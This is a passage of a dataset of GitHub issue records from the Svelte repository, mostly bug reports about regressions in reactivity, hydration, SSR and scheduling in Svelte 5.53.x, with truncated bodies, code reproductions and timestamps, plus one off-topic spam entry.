Export ""tick"" of module ""node_modules/svelte/src/internal/client/runtime.js"" was reexported through module ""node_modules/svelte/src/index-client.js"" while both modules are dependencies of each other and will end up in different chunks by current Rollup settings. This scenario is not well supported at the moment as it will produce a circular dependency... [TRUNCATED]",,2026-03-10T19:16:35Z,2026-03-10T19:22:24Z,1
sveltejs/svelte,4053327240,Regression in 5.53.8: {#if} block doesn't re-evaluate inside dynamically rendered components,"### Describe the bug

  `{#if state_var}` blocks stop re-evaluating when `$state` changes inside components rendered dynamically by a Router (using `<svelte:component>` or similar dynamic component pattern).

  Text interpolation `{state_var}` shows the correct value, and `$inspect` logs the correct value, but `{#if state_var}` stays stuck on the truthy branch.

  ### Reproduction

  Component rendered dynamically by a Router:
  ```svelte
  <script>
    let loading = $state(false)

    // Simulate async load
    $effect(() => {
      loading = true
      fetch('/api/data')
        .then(r => r.json())
        .finally(() => (loading = false))
    })
  </script>

  <!-- Shows ""false"" correctly -->
  {loading}

  <!-- STUCK on truthy branch, shows Loader forever -->
  {#if loading}
    <p>Loading...</p>
  {:else}
    <p>Content</p>
  {/if}

  Router renders components dynamically:
  <svelte:component this={CurrentComponent} {...currentProps} />

### Reproduction

 https://github.com/sveltejs/svelte/issues — no REPL available, but bisect confirms:
  - 5.53.7: works ✅
  - 5.53.8: broken ❌

  Likely caused by one of: #17882, #17805, #17848

### Logs

```shell
$inspect shows loading = false
{loading} text interpolation shows ""false"" in DOM
{#if loading} stays on truthy branch (Loader visible)
No errors in console
```

### System Info

```shell
System:
    OS: Linux 6.12 Alpine Linux
    CPU: (14) arm64 unknown
    Memory: 10.66 GB / 15.60 GB
    Container: Yes
    Shell: Unknown - ... [TRUNCATED]",,2026-03-10T17:54:53Z,2026-03-11T09:37:43Z,1
sveltejs/svelte,4051426685,Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node',"### Describe the bug

This is a possible regression of https://github.com/sveltejs/svelte/issues/16904, but under very specific conditions we get this error on hydration.

```
Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
    at Sr (C2AMhW2U.js:1:15240)
    at te (2.zFvG3oIS.js:1:3340)
    at an (2.zFvG3oIS.js:5:8723)
    at app._9CBIW1T.js:2:4040
    at DYwQLO5H.js:1:827
    at BiJdSCvE.js:1:1206
    at Ht (C2AMhW2U.js:1:20092)
    at ve (C2AMhW2U.js:1:21158)
    at M (C2AMhW2U.js:1:16511)
    at qr (C2AMhW2U.js:1:17484)
```

It only happens on production builds which made it frustrating to reproduce when trying to narrow down the issue in a larger app that takes a little while to build, but I managed a simple reproduction.

It has something to do with a `$derived(await ...)` while having a sibling `Collapsible` 

### Reproduction

Steps to reproduce:

- clone reproduction https://github.com/21RISK/svelte-async-reproduction
- build `npm run build`
- preview `npm run preview`

When loading the root route you'll get the hydration error.


### Logs

```shell
ClXyJ_Ym.js:2 Failed to hydrate:  HierarchyRequestError: Failed to execute 'appendChild' on 'Node': This node type does not support this method.
    at Sr (C2AMhW2U.js:1:15240)
    at te (2.zFvG3oIS.js:1:3340)
    at an (2.zFvG3oIS.js:5:8723)
    at app.6HY6GQRO.js:2:4040
    at DYwQLO5H.js:1:827
    at BiJdSCvE.js:1:1206
    at Ht (C2AMhW2... [TRUNCATED]",,2026-03-10T12:21:17Z,2026-04-20T13:48:28Z,2
sveltejs/svelte,4050693477,$state mutation inside getter read during flush deadlocks scheduler (regression in 5.53.8),"### Describe the bug

A store getter that lazily writes `$state` on first read deadlocks the scheduler when read inside a template binding during the flush/commit phase. The UI freezes permanently — no errors, no stack overflow, no crash.

**Works in:** 5.53.7  
**Broken in:** 5.53.8, 5.53.9  
**Likely cause:** #17805 ""simplify scheduling logic""

### Reproduction

https://github.com/vdg/svelte-5.53.8-scheduler-deadlock

```bash
git clone https://github.com/vdg/svelte-5.53.8-scheduler-deadlock
cd svelte-5.53.8-scheduler-deadlock
npm install
npm run dev
```

1. Click **""Open panel""**
2. Click **""Counter""** — counter does not update, UI is frozen
3. No console errors

Change to `svelte@5.53.7` → works fine.

### The pattern

A module store with a getter that writes `$state` on first read:

```js
let panelWidth = $state(null)

export default {
  get panelWidth () {
    if (panelWidth === null) panelWidth = DEFAULT_WIDTH  // writes $state
    return panelWidth
  }
}
```

Read by a template binding:

```svelte
<div style:width={store.panelWidth ? `${store.panelWidth}px` : null}>
```

### What happens

1. User action triggers a flush
2. During commit, the `style:width` binding reads `store.panelWidth` for the first time
3. The getter writes `$state` (lazy init)
4. In 5.53.8+, this stalls the scheduler — no further updates are processed

### Workaround

Avoid writing `$state` inside getters:

```js
get panelWidth () {
  return panelWidth ?? DEFAULT_WIDTH  // no state write
}
```

###... [TRUNCATED]",,2026-03-10T10:01:09Z,2026-03-10T17:52:24Z,0
sveltejs/svelte,4050593300,Invalid `svelte:element`s are not caught by `svelte:boundary` during SSR,"### Describe the bug

Rendering errors caused by invalid tags passed to `<svelte:element`s are not caught by the nearest `<svelte:boundary>` during SSR. They work fine on the client during CSR, but trigger a 500 on the server.

As boundaries now work on the server since 5.53.0, I was expecting this kind of error to be also caught. I don't know if there are other rendering errors that are also in this situation, or if invalid tags if the only rendering error that isn't properly caught

Invalid tags errors are correctly caught by the `handleError` hook inside `hooks.server.ts`, though.

### Reproduction

[SvelteLab](https://www.sveltelab.dev/?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte%2C.%2Fsrc%2Flib%2FCounter.svelte#code=N4IgdA5glgLlEDsD2AnApiAXKAZlANhtiAMZIIxoUDOWoA1lAgCZYjUBua%2Bl%2BAhgCMAtAFcoADj4gANCAEicONCiwBtACwA2aZvHTxAZmkBOAKz6jARkvbrl6dfUOADPcvOH7z2%2Bcf39sxdjbxc-SwB2Fz1-T3MvdUjjaIiXOOdo3xdpBOzbSzjLDJ9k21dstMj3AtLsyssAJhNE4PdEyucrMvjSty9rDNyXXrC9LWzGrwMjMZjrEcHZ%2Bo9jdpaGqKGs-tTPHsHjNeGXCec06dK88xmbHfcWrvzdpqDPRvUrk88M6s2xg5C5sdbh0FjdrFc8qU0vdej8Vi9rG8Pi4ALoAXwxsjAAAd0DA4MoUCQ6CA8IQSWQKFQYLRiIwWGxONxeIJRBIpLJ5IplGoGp0TNIDE5rHU0vZxE54UlYoKnKY9AYJmDLMKUjF1MLlrKZVVPH4Qe4ivpenVenshdJ5YKlXlVe17BqssELdZbc9dYbbn0QZpTQjnMF4RarYrtYC7HrNhbHV5naqlZqCmFtOJ2mlky4nMGFW9gupRqNNQKXetPSKXJ0kzLs9aTPYSwnNq6nh6Hk53q8NuX3JXIx3wV8m%2BkW2ULcZpkW4wDCk2VZ5E6FZ%2BYa6HjG56kZQy7nCc0kaByvGtG3pdB7Nh82YtGs0fVb0bV6jge5TmHBvaw33XOB7M54ew482zniUUY3m%2By4TPU5jjlsUGohiaKyNifAkPQfAQGgYAAFbUOQJJkkQoCUpQNAkvS... [TRUNCATED]",,2026-03-10T09:42:08Z,2026-03-10T11:38:02Z,1
sveltejs/svelte,4045428937,$effect.pending() causes page crash when used in same component or parent boundary as $derived(await ...),"### Describe the bug

Using `$effect.pending()` in a component that also contains `$derived(await ...)` causes the page to crash (tab becomes unresponsive). The same crash occurs when `$effect.pending()` is used in a parent component inside a `<svelte:boundary>` that wraps a child component containing `$derived(await ...)`.

This effectively makes `$effect.pending()` unusable for showing loading states during async data re-fetches in the most common real-world scenario.

### Reproduction

**Scenario 1: `$effect.pending()` in same component as `$derived(await ...)`**

```svelte
<!-- Crashes the page -->
<script>
  import { page } from '$app/state';
  
  const filter = $derived(page.url.searchParams.get('filter'));
  
  const data = $derived(await fetchData(filter));
</script>

{#if $effect.pending()}
  <p>Loading...</p>
{/if}

<p>{data.length} results</p>
```

**Scenario 2: `$effect.pending()` in parent inside `<svelte:boundary>`**

```svelte
<!-- Parent.svelte - also crashes/hangs -->
<svelte:boundary>
  {#snippet pending()}
    <p>Initial load...</p>
  {/snippet}

  <!-- $effect.pending() used here, inside the boundary but outside AsyncChild -->
  <AsyncChild pending={!!$effect.pending()} />
</svelte:boundary>
```

```svelte
<!-- AsyncChild.svelte -->
<script>
  const data = $derived(await fetchData());
</script>
<p>{data.length} results</p>
```

In Scenario 2, the boundary gets stuck showing the `pending` snippet forever — `$effect.pending()` appears to prevent the boundary... [TRUNCATED]",,2026-03-09T12:52:28Z,2026-03-09T15:49:58Z,0
sveltejs/svelte,4044607187,Memory leak from changing mounted component's props,"### Describe the bug

Changing the props of a mounted component following the guide at https://svelte.dev/docs/svelte/v5-migration-guide#Components-are-no-longer-classes seems to increase the memory usage without it ever being released. This affects SvelteKit navigation as we set new props on every navigation.

### Reproduction

https://github.com/teemingc/svelte-memory-leak

Instructions are in the README.md

Memory leak still happens even when commenting out the `<Counter>` component

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 124.92 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.22.0 - /Users/teeming/Library/pnpm/node
    Yarn: 3.2.3 - /Users/teeming/Library/pnpm/yarn
    npm: 10.9.4 - /Users/teeming/Library/pnpm/npm
    pnpm: 10.31.0 - /Users/teeming/Library/pnpm/pnpm
    bun: 1.3.9 - /opt/homebrew/bin/bun
  Browsers:
    Chrome: 145.0.7632.160
    Chrome Canary: 135.0.7048.0
    Firefox: 147.0.3
    Firefox Developer Edition: 130.0
    Safari: 26.3.1
    Safari Technology Preview: 26.0
  npmPackages:
    svelte: ^5.45.2 => 5.53.7
```

### Severity

annoyance",,2026-03-09T10:00:33Z,2026-03-21T12:33:47Z,3
sveltejs/svelte,4040816746,Sibling blocks inside `{#if}` guard evaluate with nulled value when `{#key}` has `transition:fade|global`,"### Describe the bug

When a `{#key}` block with `transition:fade|global` is inside an `{#if}` guard, setting the guarded variable to `null` causes sibling blocks (and the `{#key}` expression itself) to be re-evaluated **before** the outer `{#if}` tears down the branch. This results in a `TypeError: Cannot read properties of null`.

This is a regression introduced in **5.53.7** — the same code works correctly in **5.53.6**.

All three conditions are required to trigger the bug:
1. An `{#if data}` guard
2. A `{#key}` block inside the guard
3. `transition:fade|global` on an element inside the `{#key}` block

Without `|global`, or without the `{#key}`, or without the transition, the bug does not occur.

### Reproduction

```svelte
<script>
  import { fade } from 'svelte/transition';

  let data = $state({ id: 1 });

  function clear() {
    data = null;
  }
</script>

<button onclick={clear}>Clear</button>

{#if data}
  {#key data?.id}
    <p transition:fade|global={{ duration: 100 }}>keyed</p>
  {/key}

  {#if data.id}
    <p>sibling</p>
  {/if}
{/if}
```

**Steps:**
1. Click the ""Clear"" button

**Expected:** The `{#if data}` block tears down cleanly, and neither the `{#key}` expression nor the sibling `{#if data.id}` is re-evaluated after `data` becomes `null`.

**Actual:** `Uncaught TypeError: Cannot read properties of null (reading 'id')` — the sibling `{#if data.id}` condition (or the `{#key}` expression, if not guarded with `?.`) is evaluated while `data` is already `null`... [TRUNCATED]",,2026-03-08T08:12:42Z,2026-03-09T14:40:08Z,1
sveltejs/svelte,4028754045,#if accessed after snippet removed crash (5.53.7),"### Describe the bug

The update from 5.53.6 to 5.53.7 introduced a bug where the app crashes with null-pointer, when an if condition is used inside a snippet which accesses an attribute of the snippet parameter:

Cannot read properties of null (reading 'x')

### Reproduction

https://svelte.dev/playground/83f9ef3037ad4f2a92bdd860ff69e7ff?version=latest

### Logs

```shell
TypeError: Cannot read properties of null (reading 'x')
    at eval (playground:output:44563:27)
    at eval (playground:output:6781:4)
    at update_reaction (playground:output:5081:17)
    at update_effect (playground:output:5283:19)
    at #traverse_effect_tree (playground:output:1676:7)
    at Batch.process (playground:output:1607:31)
    at flush_effects (playground:output:2030:11)
    at Batch.flush (playground:output:1752:5)
    at Array.eval (playground:output:1926:13)
    at run_all (playground:output:135:10)
```

### System Info

```shell
Easily reproducible in Svelte Playground
```

### Severity

blocking an upgrade",,2026-03-05T14:54:11Z,2026-03-09T14:40:07Z,0
sveltejs/svelte,4026384634,Is Svelte Signal blocking?,"### Describe the problem

As an application grows in complexity, the number of signals and reactive effects increases significantly. For instance, consider 100 signals connected to 100 effects. If a single signal triggers all of them simultaneously while a user is performing an action, the user experiences lag. This happens because the user's interaction is blocked by the heavy reactive workload because Javascript is single threaded

If this is the case, I propose a priority system : reactivity updates should yield to user actions. Once the user interaction is handled, the system can then resume the paused reactive tasks

Consider this example : when I click the update button, the reactivity for the scroll status experiences a significant delay

```svelte
<script>
  import { onMount } from 'svelte';

  let signals = $state(Array.from({ length: 100 }, () => 0));
  let scrollY = $state(0);
  let status = $state('Idle');

  $effect(() => {
    signals.forEach((sig, i) => {
      const start = performance.now();
      while (performance.now() - start < 10) {}
    });
    status = 'Done!';
  });

  function triggerUpdate() {
    status = 'Processing (Check if Scroll Freezes)...';
    for (let i = 0; i < signals.length; i++) {
      signals[i] += 1;
    }
  }

  onMount(() => {
    const handleScroll = () => { scrollY = window.scrollY; };
    window.addEventListener('scroll', handleScroll);
    return () => window.removeEventListener('scroll', handleScroll);
  });
</script>

<div c... [TRUNCATED]",perf,2026-03-05T07:24:06Z,2026-03-12T22:04:12Z,4
sveltejs/svelte,4022230883,`#each` not removing old rows from DOM if it contains `await`,"### Describe the bug

When spamming the `Spam` button in the playground reproduction (so updating the state before the promise is resolved), it will lead to existing rows not being removed.

In  `5.53.6` it works fine for a flat `$state('string')` variable and failed with `Cannot read properties of undefined (reading 'e')` when the state variable is a nested object `$state({id: 'object'})`.

Now, in `5.53.7` it will fail for both flat or nested state variables.

The `(reading 'e')` error was fixed in #17843 and merged in `5.53.7`, but I'm more leaning towards https://github.com/sveltejs/svelte/pull/17819 having something to do with it.

### Reproduction

[Playground with $state('string') and 5.53.7](https://svelte.dev/playground/hello-world?version=5.53.7#H4sIAAAAAAAACm2O0UrDUAyGXyVEYS2UdihDqG3BBxAEvVt3cdZm7uBpTmmyVSl9dzkr0wu9CeEjX_5_QjYdYY6bdHOfPsBo9Qi3okYpWokOlt9XMSZ4sI4E8-2E-tWH-wAwudpPfZ_KmZwGtjdC__HGsxKrYI6FNIPttaq5VkcKSxKUf6Ifaw43jWdRGI1VKCGKoayAaYSXwXdWKBpIvDtTwEL6ZjvyJ73SBO7W63UcXhXZby4X-5OqZ_DcONt8lNPy96fKs9FjOhhufRfFc_Xam67IFufiTzdkmiNsF2EHRkAgkngOhSdzKRtGtJCitedqkrnIwlLzlAV9xgSVPhVzHU407xJUY91oucX8YJzQ_A2l-7GeogEAAA)
[Playground with $state('string') and 5.53.6](https://svelte.dev/playground/hello-world?version=5.53.6#H4sIAAAAAAAACm2OwUrDQBCGX2UYhSYQkqLUQ0wCPoAg6K3pYZtM7eJmNmSmjRLy7rIN1YNehuFjvvn_Cdl0hDlu0s19-gCj1SPcihqlaCU6WH5fxZjgwToSzLcT6lcf7gPA5Go_9X0qZ3Ia2N4I_ccbz0qsgjkW0gy216rmWh0pLElQ_ol-rDncNJ5FYTRWoYQohrICphFeBt9ZoWgg8e5MAQvpm-3In_RKE7hbr9dxeFVkv7lc7E-qnsF... [TRUNCATED]",,2026-03-04T14:14:41Z,2026-03-17T13:53:31Z,0
sveltejs/svelte,4019636950,Derivations of delayed sync values are not delayed,"### Describe the bug

When a synchronous state is a dependency of an asynchronous derivation, it is delayed until its asynchronous dependents are resolved to avoid tearing.
But its synchronous derivations are not delayed, which ultimately causes tearing.

### Reproduction

When the button is clicked, derivedCount updates before all others.
Similarly, it does not result in true when compared to itself eager
[REPL](https://svelte.dev/playground/hello-world?version=5.53.7#H4sIAAAAAAAAA21RT0-DMBT_Ks_GA41zY1cGJMaLRw_enIeOPkxj15L2MVwI392Wbm6LHjjw-_9gZEbskRXsBbW2MFinJWQoFaHkbMFapdGz4n1kdOyiLgIBP7meum7pD6gpYjvh8T-8sYbQUIhhpW-c6qjemi21vWlIWQMStTiizA4cxkhsySH1zoDBAV6d3SuPmYOqBo_0pvZoe8oyHgEXTAtY53nOebROsz88Ggka2xuCCu49CcIs55vIhDWezp3PZ4lEpw5hgxiE-mWzOYHf-mbdH19SblJ9ubqcacpdTxSutKbRqvmqxrQ8jXuoYD3NX2MmfQHjTEzwCOP1xhNwKZ9iTYpONV09pkOXKD7RnRbBXVXBJfJGcR2XhDcF5aqrw98j_CZWkOtx-ghvQulBGcmKVmiP0w8AwXchQAIAAA)

### Logs

```shell

```

### System Info

```shell
Using Svelte compiler version 5.53.7
running Svelte compiler version 5.53.7
```

### Severity

annoyance",,2026-03-04T02:10:31Z,2026-03-12T19:10:08Z,0
sveltejs/svelte,4011989407,keyed-`{#each}` with `{@const = await}` causes `Cannot read properties of undefined (reading 'e')`,"### Describe the bug

Honestly, the code explains the edge-case better than words:

```svelte
<script>	
	let index = $state(0);

	function fn(id) {
		// When index changes to from 0 to 1, we explicitly simulate the undefined error
		if (id === 2) throw new Error(""Simulated TypeError"");
	}
</script>

<button onclick={() => index = 1}>Trigger</button>

<svelte:boundary>
	{#snippet pending()}Loading...{/snippet}
	{#snippet failed(error)}Error Caught: {error.message}{/snippet}

	{#each [[1], [2]][index] as id (id)}
		{@const result = await fn(id)}
	{/each}
</svelte:boundary>
```

The `result` isn't even used, and `fn` isn't actually doing any async work, but the console will still log this cryptic error:  `TypeError: Cannot read properties of undefined (reading 'e')` instead of the real error that was actually thrown.

It requires the error boundary to log (not 100% if that's just in the playground environment) and behaviour does not change by removing the pending snippet.

Also, I'm pretty sure that a `$state` mutation IS required for this to happen.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.53.6#H4sIAAAAAAAAE21RwaqcQBD8lWaSg4Lo23c065IQAjnklgc56B5mnVabzPbITBt3Ef89jO4LvPBuTXV1UVW9KNZXVKX6jtY6mJ23BhI0JGhSlamOLAZV1ouS-xh5EVDZ69WXcczDH7QSsYsO-B7eOhZkCapUx9B6GuXUSMONWBQgNniDCj4G0YLJU_qp4bjrJm6FHEPHCZkUlgg2UhTwa0B-nLWD5h4DiIPOuys8xemQwYyAt9FSS2LvEOg6WS0IMiBMbLAjRgPovfO7KnWQkIGqquA5BRm8m4Fxhm-RkjTq50PBwMt9xA1t1OZU1oaPxWsqbvh4mUQcg-PWUvu7WpIUqtO_mIf19OKp79Ef... [TRUNCATED]",,2026-03-02T15:56:56Z,2026-03-03T15:21:00Z,0
sveltejs/svelte,4007766709,Is this the new normal?,"### Describe the bug

I am not entirely sure if it is a bug or just a misconfiguration on my part but I find very strange the `state_referenced_locally` warning since it happens in situations that are completely redundant and often times taken from the documentation. 
A piece of code like this
```javascript 
// layout.svelte
  let { children, data }: LayoutProps = $props();
  setCurrentUserContext(data.user); // this has a warning: this reference only capture the initial value of data
```
and this makes it go away
```javascript 
// layout.svelte
  let { children, data }: LayoutProps = $props();
  const d = () => data;
  setCurrentUserContext(d().user); // this doesn't give a waring
```
Please tell me this is not a new syntax or a new approach we now have to use, it's really unsettling

### Reproduction

Just simply follow the get started guide on the svelte.dev/docs/kit and setup either a `+page.svelte` or a `+layout.svelte` and get the data using the `$props` rune and then use it somewhere inside the script tag as the example above

### Logs

```Shell

```

### System Info

```Shell
MacOs
```

### Severity

annoyance

### Additional Information

_No response_",,2026-03-01T16:49:27Z,2026-03-01T17:42:39Z,1
sveltejs/svelte,4006205251,5.53.0 broke mdsvex,"### Describe the bug

Adding an inline comment `// ...` inside a `<script>` block in an `.mdx` file causes the compiler to crash with 
```
[plugin:vite-plugin-svelte:preprocess] Error while preprocessing E:/work/mdxbug/src/routes/+page.mdx - Cannot read properties of undefined (reading 'push')
E:/work/mdxbug/src/routes/+page.mdx
    at file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23815:19
    at Array.forEach (<anonymous>)
    at extract_parts (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23814:10)
    at file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23934:62
    at overload (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7440:12)
    at visit (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7377:27)
    at visitParents$1 (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7350:26)
    at visit$5 (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7435:3)
    at transformer (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23933:3)
    at wrapped (file:///E:/work/mdxbug/n... [TRUNCATED]",,2026-03-01T04:09:19Z,2026-03-01T06:56:09Z,4
sveltejs/svelte,3999002601,"SSR: `$store` inside `<option>` text content is not wrapped with `store_get()`, causing ReferenceError","### Describe the bug

When using a `$store` variable inside the text content of an `<option>` element within a `<select>`, the SSR compiler does not wrap the reference with `store_get()`. This causes a `ReferenceError: $store is not defined` during server-side rendering.

This is a common pattern when using i18n libraries like `sveltekit-i18n`, where `t` is a store containing a translation function.

### Reproduction

```svelte
<script>
	import { readable } from 'svelte/store';

	const t = readable((key: string) => key);

	let value = $state('');
</script>

<select bind:value>
	<option disabled value="""">{$t('placeholder')}</option>
	<option value=""a"">A</option>
	<option value=""b"">B</option>
</select>
```

When this component is server-side rendered, it throws:

```
ReferenceError: $t is not defined
```

All other template expressions correctly compile `$store` to `store_get($$store_subs ??= {}, ""$store"", store)(...)`, but the `Renderer.option()` code path outputs raw `$store(...)`.

**Compiled SSR output (incorrect):**

```js
$$renderer.option({ disabled: true }, $t('placeholder'));
```

**Expected SSR output:**

```js
$$renderer.option({ disabled: true }, store_get(($$store_subs ??= {}), '$t', t)('placeholder'));
```

### Expected behaviour

`$store` inside `<option>` text content should be compiled with `store_get()` like all other template expressions, and SSR should render without errors.

### Workaround

Extract the store value into a `$derived` variable and use that ins... [TRUNCATED]",,2026-02-27T04:22:41Z,2026-02-27T20:01:14Z,0
sveltejs/svelte,3998096870,Inline Components,"### Describe the problem

Most apps have a lot of components, and having a separate file for each component can be pretty annoying.

### Describe the proposed solution

Svelte already has the notion of `.svelte.ts` files, so I propose a new syntax in `.svelte.ts` files, that being the `component` expression.

e.g

```typescript
export const IconFiretruck = component {
    <svg>
         <!--...-->
    </svg>
}
```

I could possibly create a pull request for this when I have time.

### Importance

would make my life easier",,2026-02-26T22:35:29Z,2026-02-26T22:57:27Z,1
sveltejs/svelte,3984495451,Cutiee,"### Describe the bug

My girl🥹🧿

### Reproduction

Will you be my forever??? I'm alone in my life🙂! Just close urh eyes nd see 👀 it's full of darkness right 🙃 that's me with uhh🫠❤️‍🩹 nanu bere avru thara ninge promise yalla madla 🤧 edu astu dina nina kushi Kushi inda nodkthyne kane 🥹🧿🌍 nima amma appa nu astu prethi kodke aglaa avaru nenpu barde ero thara nodkoo thyne kanee🫶🏻🪐💗will uhh  agree me🥺

### Logs

```shell
Love
```

### System Info

```shell
Mine❤️‍🔥😎🌍
```

### Severity

annoyance",,2026-02-24T15:56:30Z,2026-02-24T15:58:18Z,1
sveltejs/svelte,3983222007,Subscribe inside $derived errors out during reconcilation,"### Describe the bug

I have a use-case where I'm filtering by the inner children that are ""lazily"" loaded, I don't want to wait for every inner fetch to resolve until filtering so I've subscribed to it inside `$derived` that filters, depending on the svelte version it either errors out or I'm getting 100% cpu hang as the list is much bigger than the repro one. The last working version that worked for me was `5.46.1`.

Alternatively I would appreciate telling me what would be the idiomatic/happy-path way to solve my use-case.

### Reproduction

https://www.sveltelab.dev/531c2f389t4x26q

1. Filter out the records
2. Expand the entry
3. Press Refresh
4. Check console for errors

Also tried 

```svelte
{#if waybill.expanded}
    <ul>
        {#await waybill.orders then orders}
            {#each orders as order (order.id)}
	         <li>{order.id}</li>
	     {/each}
        {/await}
    </ul>
{/if}
```

and also directly `await` inside w/ boundary.

In my real project it sometimes works for that but without fail gets 100% cpu hang when filtering out, setting date back by one day (we get more records etc), expanding, then pressing refresh, it seems it somehow still sees the previous batch and tries to somehow compute that but it's a little bit unrelated to the reproduction. Historically it also behaved differently depending on using keyed/unkeyed each block.

### Logs

```shell
Uncaught TypeError: can't access property ""e"", items.get(...) is undefined
    reconcile http://localho... [TRUNCATED]",,2026-02-24T11:45:46Z,2026-03-03T16:59:02Z,6
sveltejs/svelte,3981420808,Exception in {#await} pending branch causes both pending and then branches to render,"### Describe the bug

Whenever an exception happens inside pending branch of an {#await} block while promise itself resolves correctly, you end up in a weird state with both pending and then branches rendered.

I am not sure what would be the correct thing to do here, maybe this behavior is intentional. Personally I would at least expect pending branch to disappear.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.53.3#H4sIAAAAAAAAE22QMW-EMAyF_4qVDgfSqdzSBVGk2zp26FY6BOLTRQ0OSgy0Qvff61wpLB39-b3nlyyKdI-qVC_onIfZB2cgQ2MZTa6O6mIdRlW-L4q_h6RLQPjqOg_DY5zQcWKtjvgf7zwxEkuMqmIX7MB1Qw0LjgxD8L2NCM9AOMPr75QFjN5NQmuIyG-2Rz9yluUJrLvs8GddgTnkR3g6nfK8oarYD9HyoGdtt1O3dLwydgIOmqJl66m8aIM1XzEg2AiaAEPwARKoCtFK0FLKnoDxi7eIermPu6TT3F33dTsy8FUSW-e7T3nihEH6ksEQN1Nxrycm-asUp0oOI94-ZNLWzZaMkn5Omv8AzlrXQ64BAAA)

```svelte
<script>
	const promise = new Promise(resolve => setTimeout(() => resolve('promise resolved'), 500))
</script>

{#await promise}
	<div transition:fade>there is an error here</div>
{:then text}
	<div>{text}</div>
{:catch}
	<div>but this block never renders</div>
{/await}
```

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2026-02-24T04:19:58Z,2026-02-26T03:09:18Z,2
sveltejs/svelte,3979328603,Scopes aren't tracked correctly in function arguments,"### Describe the bug

Svelte's scope tracker reuses the same scope for a function's arguments and body. Body declarations end up referenced in argument initializers shadowing the parent scopes' declarations, potentially making an initializer [skip rune transformation logic](https://svelte.dev/playground/590c171f1436486e9072bbc2641c9b53?version=5.53.3).

~~I tried fixing this a few different ways, but I couldn't find a clean way to deal with this due to my lack of familiarity with the v5 codebase (hi, everyone, miss you!). My thinking was to create two separate scopes, one for arguments and one for the body (either through the body's `BlockStatement` or the `*Function*` themselves), and perhaps call `add_state_transformers` on the function visitors, but every variation I tried ended up interacting badly with different compilation pipeline assumptions.~~

Turns out I just forgot to make the `BlockStatement` scope non-porous as opposed to the function's. Not sure this is the ""cleanest"" solution, but `BlockStatement` already had special-casing for the function cases. See attached PR.

### Reproduction

Scope confusion causes runes' objects to be used instead of its values: https://svelte.dev/playground/590c171f1436486e9072bbc2641c9b53?version=5.53.3

Without required transformations, Svelte's incorrect assumption doesn't affect actual output: https://svelte.dev/playground/20b746af78ca4336b0a47c9e60aed1ec?version=5.53.3

### Logs

```shell

```

### System Info

```shell
repl
```
... [TRUNCATED]",,2026-02-23T17:29:29Z,2026-02-25T00:25:00Z,0
sveltejs/svelte,3971277844,"From svelte5.53.0, parse failures may occur.","### Describe the bug

Since svelte5.53.0, importing a component that uses a function with Generics will likely cause a `Parse failure: Expected '{', got '('` error on the development server.

An example I found is as follows:
```ts
import { Bounds } from 'layerchart';
```

Bounds seems to be using `tweenedScale` defined in `scales.svelte.js` internally, but this appears to be incorrectly interpreted as
`export function tweenedScale()(scale, tweenedOptions = {}) {`

### Reproduction

https://github.com/shamokit/svelte5-53-0

[+page.svelte](https://github.com/shamokit/svelte5-53-0/blob/main/src/routes/%2Bpage.svelte)

<img width=""872"" height=""314"" alt=""Image"" src=""https://github.com/user-attachments/assets/bc431eaf-f910-4e9e-bc60-3419fcf61a47"" />

### Logs

```shell
1:10:31 PM [vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: Expected '{', got '('
At file: /node_modules/.pnpm/layerchart@2.0.0-next.44_svelte@5.53.0/node_modules/layerchart/dist/utils/scales.svelte.js:180:30
  File: /node_modules/.pnpm/layerchart@2.0.0-next.44_svelte@5.53.0/node_modules/layerchart/dist/utils/scales.svelte.js:180:30
  178 |   * Animate d3-scale as domain and/or range are updated using tweened store
  179 |   */
  180 |  export function tweenedScale()(scale, tweenedOptions = {}) {
      |                                ^
  181 |         const tweenedDomain = new Tween(undefined, tweenedOptions);
  182 |         const tweenedRange = new Tween(undefined, tweenedOpt... [TRUNCATED]",,2026-02-21T04:19:08Z,2026-02-21T07:22:17Z,2
sveltejs/svelte,3970453917,"Could not resolve ""node:crypto"" when bundling for ssr without nodejs platform","### Describe the bug

I'm trying to build a svelte bundle (with esbuild) for server side rendering which runs on a runtime that is not nodejs and thus has no implementation for `node:crypto`.

I'm getting an error saying `Could not resolve ""node:crypto""`.

This issue seems to have appeared with version `5.46.0`.

It seems to be related to this
https://github.com/sveltejs/svelte/blob/0c7f815143c878d4c2819e45e5f2992da1209f63/packages/svelte/src/internal/server/crypto.js#L14-L16

### Reproduction

Full reproduction here https://github.com/razshare/svelte-reproduction-issue-17762

### Logs

```shell
make build 
npx vite build --logLevel=info --outDir=dist/server --emptyOutDir=true --ssr=app.server.ts
vite v7.3.1 building ssr environment for production...
✓ 114 modules transformed.
dist/server/app.server.js  32.24 kB
✓ built in 256ms
